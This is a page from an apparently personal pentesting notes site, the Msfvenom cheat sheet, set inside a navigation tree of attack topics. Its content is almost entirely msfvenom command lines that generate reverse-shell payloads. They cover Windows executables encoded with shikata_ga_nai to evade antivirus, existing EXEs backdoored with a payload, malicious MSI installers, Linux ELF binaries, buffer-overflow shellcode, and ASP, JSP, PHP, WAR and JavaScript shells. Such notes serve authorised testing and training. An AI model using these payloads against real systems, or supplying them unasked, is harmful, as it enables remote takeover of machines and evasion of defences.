📑
Security Notes
  • Readme
  • Resources
    • Useful sites
    • Metasploit
      • Searchsploit
      • Msfvenom
      • Meterpreter
    • Shells
    • Linux
      • Cron
      • Connection
      • Compilers
    • Windows
      • Kernel exploits table
    • Bruteforce
      • Checklist
      • John the Ripper
      • Hashcat
    • BOF
      • Assembly
    • Gaining access checklist
  • Cloud - AWS
    • Enumeration
    • References
    • Bucket S3
      • Public Bucket
      • AMI Files
      • File upload to RCE
    • EC2
      • cloud-init Exploits
      • SSRF To AWS Role compromise
      • Unencrypted EBS
    • IAM
      • Account Disclosure by resource policy
    • Lambda Function
      • Code Injection
      • Attacking APIs
    • VPC
      • Expose Resources
  • Networking
    • Nmap
      • Scan types
    • TCPDump
    • Port forwarding
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 25 465 587 - SMTP
      • 53 - DNS
      • 110 995 - POP3
      • 111 - NFS
      • 113 - Ident
      • 123 - NTP
      • 135 137 139 - RPC
      • 143 993 - IMAP
      • 161 - SNMP
      • 389 - LDAP
      • 139 445 - SMB
      • 873 - Rsync
      • 6379 - Redis
      • 6667 - IRC
  • Linux PrivEsc
    • Checklist
    • Enumeration
      • Important files
      • Memory Dump
    • Privileges Exploitation
    • Wildcard Exploits
    • Sudo Exploits
    • Docker Container
    • Docker Groups
    • Common Exploits
  • Windows PrivEsc
    • Checklist
    • Enumeration
      • Important Files
    • Antivirus evasion tools
    • Unquoted paths
    • Always install elevated
    • Vulnerable services
    • Client side
    • Exploitable privileges
      • Juicy Potato
    • UAC bypass
    • Common Exploits
  • Active Directory
    • Introduction
    • Checklist
    • Enumeration
    • Enable RDP
    • Kerberos
    • Rubeus
    • Credentials harvesting
      • Domain Controller specific
    • Connection
    • Pass The Hash
    • Kerberoast
    • ASREProast
    • Tickets
  • Web Attacks
    • Checklist
    • Enumeration
      • URL bruteforcing
    • APIs and Fields
    • Authentication
    • Filter Evasion
      • Fuzzying and encoding
    • File Vulnerabilities
      • LFI List
      • PHP shells
    • RCE
    • Code Injection
    • Dependency Injection
    • Joomla
    • Wordpress
    • WebDAV
    • HTTP
    • XSS
      • DOM Based
      • Reflected
      • Filter Evasion
    • SSI
    • SSTI
    • RCE
    • CSRF
    • SQL injection
      • sqlmap
      • PostgreSQL
      • Oracle
      • MSSQL
      • MySQL
      • Login
    • XPath injection
    • XXE
    • CORS
  • MOBILE PENTESTING
    • Static Code Analysis
    • Dynamic Code Analysis
    • Network Traffic Analysis
Powered by GitBook
On this page
  • Commands
  • Common payloads
  • Windows EXE reverse shell
  • Windows EXE hijack
  • Windows malicious installer
  • *nix ELF reverse shell
  • BOF payload
  • .NET reverse shell
  • JSP reverse shell
  • PHP reverse shell
  • WAR file reverse shell
  • JavaScript reverse shell
  1. Resources
  2. Metasploit

Msfvenom

Commands

Generic

msfvenom -h
msfvenom -l <formats/payloads/encoders/nops>

Quick payload generation

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <filename>    #create runnable payload
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <lang> -v <varname>     #create payload source code

Common payloads

Windows EXE reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -e x86/shikata_ga_nai -i 8 -o rv.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -e x86/shikata_ga_nai -i 8 -o rv.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -e x86/shikata_ga_nai -i 8 -o rv.exe

Windows EXE hijack

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -x <exe file> -k -e x86/shikata_ga_nai -i 8 -o rv.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -x <exe file> -k -e x86/shikata_ga_nai -i 8 -o rv.exe

Windows malicious installer

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o <filename>.msi
msfvenom -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o <filename>.msi

*nix ELF reverse shell

msfvenom -p linux/<arch>/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf -e x86/shikata_ga_nai -i 8 -o payload

BOF payload

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <lang> -v shellcode -e x86/shikata_ga_nai -b "<bad chars>" EXITFUNC=thread
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <lang> -v shellcode -b "<bad chars>" EXITFUNC=thread

.NET reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o rv.asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o rv.asp

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f aspx -o rv.aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f aspx -o rv.aspx

JSP reverse shell

msfvenom -p java/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f jsp -o rv.jsp

PHP reverse shell

msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw -o payload.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -o meterpreter.php

WAR file reverse shell

msfvenom -p java/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o payload.war

JavaScript reverse shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f js_le
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f js_le
PreviousSearchsploitNextMeterpreter

Last updated 1 year ago